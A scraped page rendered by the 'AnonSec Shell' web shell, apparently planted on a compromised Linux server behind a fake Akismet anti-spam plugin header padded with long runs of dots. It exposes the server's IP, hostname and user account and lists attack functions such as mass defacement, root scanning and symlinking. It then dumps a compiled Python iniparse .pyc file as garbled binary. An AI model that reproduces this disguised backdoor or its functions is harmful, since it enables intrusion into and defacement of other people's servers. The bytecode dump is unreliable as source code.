#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/iniparse/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python2.7/site-packages/iniparse/config.pyc
�
���Kc@sOdefd��YZdefd��YZdefd��YZd�ZdS(tConfigNamespacecBsqeZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
RS(s�Abstract class representing the interface of Config objects.

    A ConfigNamespace is a collection of names mapped to values, where
    the values may be nested namespaces.  Values can be accessed via
    container notation - obj[key] - or via dotted notation - obj.key.
    Both these access methods are equivalent.

    To minimize name conflicts between namespace keys and class members,
    the number of class members should be minimized, and the names of
    all class members should start with an underscore.

    Subclasses must implement the methods for container-like access,
    and this class will automatically provide dotted access.

    cCs
t|�S(N(tNotImplementedError(tselftkey((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt_getitemscCst||��dS(N(R(RRtvalue((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt__setitem__scCst|��dS(N(R(RR((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt__delitem__scCst�S(N(R(R((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt__iter__scCst|��dS(N(R(Rtname((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt_new_namespace scCs*y|j|�Wntk
r%tSXtS(N(RtKeyErrortFalsetTrue(RR((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt__contains__#s

cCs3y|j|�SWntk
r.t||�SXdS(N(RRt	Undefined(RR((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt__getitem__6s
cCsZy|j|�SWnBtk
rU|jd�rH|jd�rHt�nt||�SXdS(Nt__(RRt
startswithtendswithtAttributeErrorR(RR	((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt__getattr__<s
	cCsOy'tj||�tj|||�Wn!tk
rJ|j||�nXdS(N(tobjectt__getattribute__t__setattr__RR(RR	R((s3/usr/lib/python2.7/site-packages/iniparse/config.pyRDs

cCsIy$tj||�tj||�Wntk
rD|j|�nXdS(N(RRt__delattr__RR(RR	((s3/usr/lib/python2.7/site-packages/iniparse/config.pyRKs

cCs|jj|�dS(N(t__dict__tupdate(Rtstate((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt__setstate__Vs(t__name__t
__module__t__doc__RRRRR
RRRRRR(((s3/usr/lib/python2.7/site-packages/iniparse/config.pyRs										RcBs)eZdZd�Zd�Zd�ZRS(sHelper class used to hold undefined names until assignment.

    This class helps create any undefined subsections when an
    assignment is made to a nested value.  For example, if the
    statement is "cfg.a.b.c = 42", but "cfg.a.b" does not exist yet.
    cCs*tj|d|�tj|d|�dS(NR	t	namespace(RR(RR	R!((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt__init__ascCs#|jj|j�}|||<dS(N(R!R
R	(RR	Rtobj((s3/usr/lib/python2.7/site-packages/iniparse/config.pyRescCs#|jj|j�}|||<dS(N(R!R
R	(RR	RR#((s3/usr/lib/python2.7/site-packages/iniparse/config.pyRis(RRR R"RR(((s3/usr/lib/python2.7/site-packages/iniparse/config.pyRYs		tBasicConfigcBs_eZdZd
Zd�Zd�Zd�Zd�Zd�Z	dd�Z
d�Zd	�ZRS(s�Represents a hierarchical collection of named values.

    Values are added using dotted notation:

    >>> n = BasicConfig()
    >>> n.x = 7
    >>> n.name.first = 'paramjit'
    >>> n.name.last = 'oberoi'

    ...and accessed the same way, or with [...]:

    >>> n.x
    7
    >>> n.name.first
    'paramjit'
    >>> n.name.last
    'oberoi'
    >>> n['x']
    7
    >>> n['name']['first']
    'paramjit'

    Iterating over the namespace object returns the keys:

    >>> l = list(n)
    >>> l.sort()
    >>> l
    ['name', 'x']

    Values can be deleted using 'del' and printed using 'print'.

    >>> n.aaa = 42
    >>> del n.x
    >>> print n
    aaa = 42
    name.first = paramjit
    name.last = oberoi

    Nested namepsaces are also namespaces:

    >>> isinstance(n.name, ConfigNamespace)
    True
    >>> print n.name
    first = paramjit
    last = oberoi
    >>> sorted(list(n.name))
    ['first', 'last']

    Finally, values can be read from a file as follows:

    >>> from StringIO import StringIO
    >>> sio = StringIO('''
    ... # comment
    ... ui.height = 100
    ... ui.width = 150
    ... complexity = medium
    ... have_python
    ... data.secret.password = goodness=gracious me
    ... ''')
    >>> n = BasicConfig()
    >>> n._readfp(sio)
    >>> print n
    complexity = medium
    data.secret.password = goodness=gracious me
    have_python
    ui.height = 100
    ui.width = 150
    cCs
i|_dS(N(t_data(R((s3/usr/lib/python2.7/site-packages/iniparse/config.pyR"�scCs|j|S(N(R%(RR((s3/usr/lib/python2.7/site-packages/iniparse/config.pyR�scCs||j|<dS(N(R%(RRR((s3/usr/lib/python2.7/site-packages/iniparse/config.pyR�scCs|j|=dS(N(R%(RR((s3/usr/lib/python2.7/site-packages/iniparse/config.pyR�scCs
t|j�S(N(titerR%(R((s3/usr/lib/python2.7/site-packages/iniparse/config.pyR�stcCs�g}|jj�}|j�x�|D]�}|j|}t|t�rn|j|jdd||f��q&|dkr�|jd||f�q&|jd|||f�q&Wdj|�S(Ntprefixs%s%s.s%s%ss	%s%s = %ss
(	R%tkeystsortt
isinstanceRtappendt__str__tNonetjoin(RR(tlinesR)R	R((s3/usr/lib/python2.7/site-packages/iniparse/config.pyR-�s


&cCst�}||j|<|S(N(R$R%(RR	R#((s3/usr/lib/python2.7/site-packages/iniparse/config.pyR
�s	
c	Cs)x"tr$|j�}|sPn|j�}|s7qn|ddkrMqn|jdd�}t|�dkr�|}d}n |dj�}|dj�}|jd�}|}x[|d D]O}||kr||}t|t�std|��qq�|j	|�}q�W|||d<qWdS(Nit#t=it.i����svalue-namespace conflict(
R
treadlinetstriptsplittlenR.R+Rt	TypeErrorR
(	RtfptlinetdataR	Rtname_componentstnstn((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt_readfp�s0		
N(
RRR R.R%R"RRRRR-R
R?(((s3/usr/lib/python2.7/site-packages/iniparse/config.pyR$psD						cCs�x�|D]}||}t|t�r|||kr]||}t|t�sltd��qln|j|�}t||�q|||<qWdS(s�Imports values from source into target.

    Recursively walks the <source> ConfigNamespace and inserts values
    into the <target> ConfigNamespace.  For example:

    >>> n = BasicConfig()
    >>> n.playlist.expand_playlist = True
    >>> n.ui.display_clock = True
    >>> n.ui.display_qlength = True
    >>> n.ui.width = 150
    >>> print n
    playlist.expand_playlist = True
    ui.display_clock = True
    ui.display_qlength = True
    ui.width = 150

    >>> from iniparse import ini
    >>> i = ini.INIConfig()
    >>> update_config(i, n)
    >>> print i
    [playlist]
    expand_playlist = True
    <BLANKLINE>
    [ui]
    display_clock = True
    display_qlength = True
    width = 150

    svalue-namespace conflictN(R+RR8R
t
update_config(ttargettsourceR	Rtmyns((s3/usr/lib/python2.7/site-packages/iniparse/config.pyR@�s


N(RRRR$R@(((s3/usr/lib/python2.7/site-packages/iniparse/config.pyt<module>sX�

Anon7 - 2022
AnonSec Team